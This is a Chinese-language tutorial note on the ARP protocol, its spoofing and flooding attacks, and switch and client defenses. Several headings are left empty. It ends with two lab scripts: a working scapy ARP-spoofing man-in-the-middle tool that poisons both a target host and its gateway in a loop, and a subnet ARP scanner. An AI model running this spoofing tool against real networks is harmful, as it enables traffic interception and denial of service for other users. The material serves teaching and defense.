1、什么是ARP
将IP地址解析为以太网MAC地址(物理地址)的协议
1.1、为什么既要有IP地址又要有MAC地址?
IP地址表达的是当前机器在网络中的位置,类似于城市名+道路号+门牌号的概念。通过ip层的寻址,我们能知道按何种路径在全世界任意两台Internet上的的机器间传输数据。
MAC地址的设计不携带设备在网络中的位置信息,通常是不变的。
由于历史原因,早期只有链路层和物理层。
1.2、ARP协议属于网络层还是链路层?
从功能来看,ARP协议是为了获取到MAC信息,服务于链路层;从包类型来看,它与IP协议都有各自的type类型,一个是0x0806,一个是0x0800,和IP协议平起平坐,属于网络层
2、ARP帧格式
2.1、ARP的工作原理
2.2、•为什么需要ARP高速缓存?
发送端往往需要有多个IP数据包发送到同一目的端。如果每次都使用ARP协议,开销很大。
2.3、ARP高速缓存
1)动态ARP表 ARP协议自动生成和维护,可以被老化
2)静态ARP表 手工配置和维护,不会被老化
1)动态条目随时间推移自动添加和删除
2)静态条目一直保留在ARP缓存中,永久生效,
2.4、ARP常用命令
2.5、代理ARP
ARP请求从一个网络的主机发往另一个网络,具有代理ARP功能的设备回答该请求,屏蔽了分离的物理网络。
2.6、免费ARP
一个发往自己IP地址的ARP请求。
免费ARP有两个作用:
3、ARP协议攻击
3.1、漏洞的根源:
3.2、ARP欺骗攻击—伪造网关
攻击者发送伪造的网关ARP报文,欺骗同网段内的其他主机。
主机访问网关的流量,被重定向到一个错误的MAC地址,导致该用户无法正常访问外网。
3.3、ARP欺骗攻击—欺骗网关
攻击者伪造虚假的ARP报文,欺骗网关。
网关发给该用户的所有数据全部重定向到一个错误的MAC地址,导致该用户无法正常访问外网。
3.4、ARP欺骗攻击—欺骗终端用户
攻击者伪造虚假的ARP报文。欺骗相同网段内的其他主机。
网段内的其他主机发给该用户的所有数据都被重定向到错误的MAC地址,同网段内的用户无法正常互访。
3.5、ARP泛洪攻击
攻击者伪造大量不同ARP报文在同网段内进行广播,导致网关ARP表项被占满,合法用户的ARP表项无法正常学习,导致合法用户无法正常访问外网。
4、ARP攻击防御
4.1、网关防御
4.2、接入设备防御
4.3、客户端防御
常见技术
4.4、认证防御模式
通过增强用户的认证机制来获取上线用户的IP-MAC对应关系,并且利用认证手段来确认当前用户的合法性。从而有效的解决难以获取合法用户的 IP-MAC对应关系的问题。同时通过事先在认证服务器上配置网关的IP-MAC对应关系的方式来几种管理网络中存在的网关的IP-MAC信息。当合法用户上线时,可以利用上述的两个关键信息对网络中存在的虚假ARP报文以过滤或者绑定合法的ARP信息,从而有效的防御ARP欺骗行为。
5、ARP限速
开启某个端口的ARP报文限速功能后,交换机对每秒内该端口接收的ARP报文数量进行统计,如果每秒收到的ARP报文数量超过设定值,则认为该端口处于超速状态(即收到ARP报文攻击)。此时,交换机将关闭改端口,使其不再接受任何报文,从而避免大量ARP报文攻击设备。同时设备支持配置端口状态自动恢复功能,对于配置了ARP限速功能的端口,在其因超速而被交换机关闭后,经过一段时间自动恢复为开启状态。
6、RARP协议
实验一、arpAttck.py
import threading # 多线程
import time # 和时间相关的模块
from scapy.all import get_if_hwaddr, sendp # sendp方法在第二层发送数据包 get_if_hwaddr方法获取指定网卡的mac地址
from scapy.layers.l2 import getmacbyip,ARP, Ether # Ether用来构建以太网数据包 ARP是构建ARP数据包的类 getmacbyip方法用于通过ip获取mac地址
from optparse import OptionParser #选项模块
import arpScanner
def get_mac(tgt_ip):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活" % tgt_ip)
def create_arp_station(srcMac, targetMac, gatewayIp, targetIp):
'''
生成ARP数据包,伪造网关欺骗目标计算机
srcMac :本机的MAC地址,充当中间人
targetMac:目标计算机的MAC
gatewayIp:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
targetIp:目标计算机的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=srcMac, dst=targetMac)
arp = ARP(hwsrc=srcMac, psrc=gatewayIp, hwdst=targetMac, pdst=targetIp, op="is-at")
pkt = eth / arp
return pkt
def create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp):
'''
生成ARP数据包,伪造目标计算机欺骗网关
srcMac:本机的MAC地址,充当中间人
gatewayMac:网关的MAC
targetIp:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gatewayIp:网关的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=srcMac, dst=gatewayMac)
arp = ARP(hwsrc=srcMac, psrc=targetIp, hwdst=gatewayMac, pdst=gatewayIp, op="is-at")
pkt = eth / arp
return pkt
def main():
"""
主方法
"""
usage = "Usage: %proc -sm <src_mac> -t <target_ip> -tm <target_mac> -g <gateway_ip> -gm <gateway_mac> -i <interface> -a <all_arp>"
parser = OptionParser(usage=usage)
parser.add_option("-s","--srcmac", type="string", dest="srcmac", help="发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址")
parser.add_option("-t", "--targetip", type="string", dest="targetip",default = "192.168.21.", help="指定目标计算机IP")
parser.add_option("-v","--targetmac", type="string", dest="targetmac", help="指定目标计算机MAC,如果不提供,默认将根据其IP获取MAC地址")
parser.add_option("-g","--gatewayip", type="string", dest="gatewayip", default = "192.168.21.1", help="指定网关IP")
parser.add_option("-y","--gatewaymac", type="string", dest="gatewaymac", default = "80:e8:6f:3a:8e:d4", help="指定网关MAC,如果不提供,默认将根据其IP获取MAC地址")
parser.add_option("-i","--interface", type="string", dest="interface", help="指定使用的网卡")
(options, args) = parser.parse_args()
targetIp = options.targetip
gatewayIp = options.gatewayip
srcMac = options.srcmac
targetMac = options.targetmac
gatewayMac = options.gatewaymac
interface = options.interface
if targetIp is None or gatewayIp is None:
print("targetip and gatewayip is necessary!")
return
if targetMac is None:
targetMac = arpScanner.sweep(targetIp)
print("目标计算机IP地址:", targetIp, ", 目标计算机MAC地址: " , targetMac)
if gatewayMac is None:
gatewayMac = arpScanner.sweep(gatewayIp)
print("网关IP地址:", gatewayIp, ", 网关MAC地址: ", gatewayMac)
input('按任意键继续:')
pktStation = create_arp_station(srcMac, targetMac, gatewayIp, targetIp)
pktGateway = create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp)
i = 1
while True:
t = threading.Thread(
target=sendp,
args=(pktStation,),
kwargs={'inter': 1, 'iface': interface}#创建进程
)
t.start()
t.join()
print(str(i) + " [*]发送一个计算机ARP欺骗包")
s = threading.Thread(
target=sendp,
args=(pktGateway,),
kwargs={'inter': 1, 'iface': interface}
)
s.start()
s.join()
print(str(i) + " [*]发送一个网关ARP欺骗包")
i += 1
time.sleep(1)
if __name__ == '__main__':
main()
实验二、arpScanner.py
#!python3
#coding=utf-8
from scapy.all import * #最重要的模块
from threading import Thread #多线程模块,加快扫描速度
from optparse import OptionParser #选项模块
from scapy.layers.l2 import Ether, ARP
def sweep(ip, showPackage=0):
"""
通过ip找到对应的MAC地址
"""
try:
pakt=Ether(dst="ff:ff:ff:ff:ff:ff",src="f4:8e:38:af:73:a5")/ARP(hwsrc="f4:8e:38:af:73:a5",psrc="10.10.40.49",hwdst="00:00:00:00:00:00",pdst=ip)#构造一个arp包
result=srp1(pakt,timeout=1,verbose=0)#定义发送的模式 sr为三层的包 srp为只发不收
if result:
time.sleep(0.1)#延迟0.1
print(result[ARP].psrc, "----------->", result[ARP].hwsrc)
if showPackage == 1:
print("send package:")
hexdump(pakt);
print("receive package:")
hexdump(result)
return result[ARP].hwsrc
except:
return None
def main():
"""
主方法
遍历整个子网的ip地址,发现对应的mac地址
"""
usage="Usage: %proc -i <ip address>"
parser=OptionParser(usage=usage)
parser.add_option("-i","--ip",type="string",dest="address",default='192.168.21.252',help="specify the IP address")
(options, args)=parser.parse_args()
print(options)
print(args)
address = options.address
if address.endswith(".0"):
prefix=address.split(".")[0]+"."+address.split(".")[1]+"."+address.split(".")[2]+"."#分割ip地址
for i in range(1,255):
ip=prefix+str(i)
t=Thread(target=sweep,args=(ip,))
t.start()
else :
ip = address
t = Thread(target=sweep, args=(ip,1))
t.start()
if __name__ == '__main__':
main()
感谢:wangyh